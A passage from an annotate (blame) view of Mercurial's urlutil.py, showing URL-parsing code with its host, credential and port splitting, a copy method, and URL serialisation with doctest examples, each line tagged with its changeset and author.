ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
169 path = None |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
170 if self._localpath: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
171 self.path = b'' |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
172 return |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
173 else: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
174 if self._localpath: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
175 self.path = path |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
176 return |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
177 |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
178 if parsequery and b'?' in path: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
179 path, self.query = path.split(b'?', 1) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
180 if not path: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
181 path = None |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
182 if not self.query: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
183 self.query = None |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
184 |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
185 # // is required to specify a host/authority |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
186 if path and path.startswith(b'//'): |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
187 parts = path[2:].split(b'/', 1) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
188 if len(parts) > 1: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
189 self.host, path = parts |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
190 else: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
191 self.host = parts[0] |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
192 path = None |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
193 if not self.host: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
194 self.host = None |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
195 # path of file:///d is /d |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
196 # path of file:///d:/ is d:/, not /d:/ |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
197 if path and not hasdriveletter(path): |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
198 path = b'/' + path |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
199 |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
200 if self.host and b'@' in self.host: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
201 self.user, self.host = self.host.rsplit(b'@', 1) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
202 if b':' in self.user: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
203 self.user, self.passwd = self.user.split(b':', 1) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
204 if not self.host: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
205 self.host = None |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
206 |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
207 # Don't split on colons in IPv6 addresses without ports |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
208 if ( |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
209 self.host |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
210 and b':' in self.host |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
211 and not ( |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
212 self.host.startswith(b'[') and self.host.endswith(b']') |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
213 ) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
214 ): |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
215 self._hostport = self.host |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
216 self.host, self.port = self.host.rsplit(b':', 1) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
217 if not self.host: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
218 self.host = None |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
219 |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
220 if ( |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
221 self.host |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
222 and self.scheme == b'file' |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
223 and self.host not in (b'localhost', b'127.0.0.1', b'[::1]') |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
224 ): |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
225 raise error.Abort( |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
226 _(b'file:// URLs can only refer to localhost') |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
227 ) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
228 |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
229 self.path = path |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
230 |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
231 # leave the query string escaped |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
232 for a in (b'user', b'passwd', b'host', b'port', b'path', b'fragment'): |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
233 v = getattr(self, a) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
234 if v is not None: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
235 setattr(self, a, urlreq.unquote(v)) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
236 |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
237 def copy(self): |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
238 u = url(b'temporary useless value') |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
239 u.path = self.path |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
240 u.scheme = self.scheme |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
241 u.user = self.user |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
242 u.passwd = self.passwd |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
243 u.host = self.host |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
244 u.path = self.path |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
245 u.query = self.query |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
246 u.fragment = self.fragment |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
247 u._localpath = self._localpath |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
248 u._hostport = self._hostport |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
249 u._origpath = self._origpath |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
250 return u |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
251 |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
252 @encoding.strmethod |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
253 def __repr__(self): |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
254 attrs = [] |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
255 for a in ( |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
256 b'scheme', |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
257 b'user', |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
258 b'passwd', |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
259 b'host', |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
260 b'port', |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
261 b'path', |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
262 b'query', |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
263 b'fragment', |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
264 ): |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
265 v = getattr(self, a) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
266 if v is not None: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
267 attrs.append(b'%s: %r' % (a, pycompat.bytestr(v))) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
268 return b'<url %s>' % b', '.join(attrs) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
269 |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
270 def __bytes__(self): |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
271 r"""Join the URL's components back into a URL string. |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
272 |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
273 Examples: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
274 |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
275 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar')) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
276 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar' |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
277 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42')) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
278 'http://user:pw@host:80/?foo=bar&baz=42' |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
279 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz')) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
280 'http://user:pw@host:80/?foo=bar%3dbaz' |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
281 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#')) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
282 'ssh://user:pw@[::1]:2200//home/joe#' |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
283 >>> bytes(url(b'http://localhost:80//')) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
284 'http://localhost:80//' |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
285 >>> bytes(url(b'http://localhost:80/')) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
286 'http://localhost:80/' |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
287 >>> bytes(url(b'http://localhost:80')) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
288 'http://localhost:80/' |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
289 >>> bytes(url(b'bundle:foo')) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
290 'bundle:foo' |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
291 >>> bytes(url(b'bundle://../foo')) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
292 'bundle:../foo' |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
293 >>> bytes(url(b'path')) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
294 'path' |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
295 >>> bytes(url(b'file:///tmp/foo/bar')) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
296 'file:///tmp/foo/bar' |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
297 >>> bytes(url(b'file:///c:/tmp/foo/bar')) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
298 'file:///c:/tmp/foo/bar' |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
299 >>> print(url(br'bundle:foo\bar')) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
300 bundle:foo\bar |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
301 >>> print(url(br'file:///D:\data\hg')) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
302 file:///D:\data\hg |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
303 """ |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
304 if self._localpath: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
305 s = self.path |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
306 if self.scheme == b'bundle': |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
307 s = b'bundle:' + s |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
308 if self.fragment: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
309 s += b'#' + self.fragment |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
310 return s |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
311 |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
312 s = self.scheme + b':' |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
313 if self.user or self.passwd or self.host: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
314 s += b'//' |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
315 elif self.scheme and ( |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
316 not self.path |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
317 or self.path.startswith(b'/') |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
318 or hasdriveletter(self.path) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
319 ): |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
320 s += b'//' |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
321 if hasdriveletter(self.path): |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
322 s += b'/' |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
323 if self.user: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
324 s += urlreq.quote(self.user, safe=self._safechars) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
325 if self.passwd: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
326 s += b':' + urlreq.quote(self.passwd, safe=self._safechars) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
327 if self.user or self.passwd: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
328 s += b'@' |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
329 if self.host: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
330 if not (self.host.startswith(b'[') and self.host.endswith(b']')): |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
331 s += urlreq.quote(self.host) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
332 else: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
333 s += self.host |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
334 if self.port: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
335 s += b':' + urlreq.quote(self.port) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
336 if self.host: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
337 s += b'/' |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
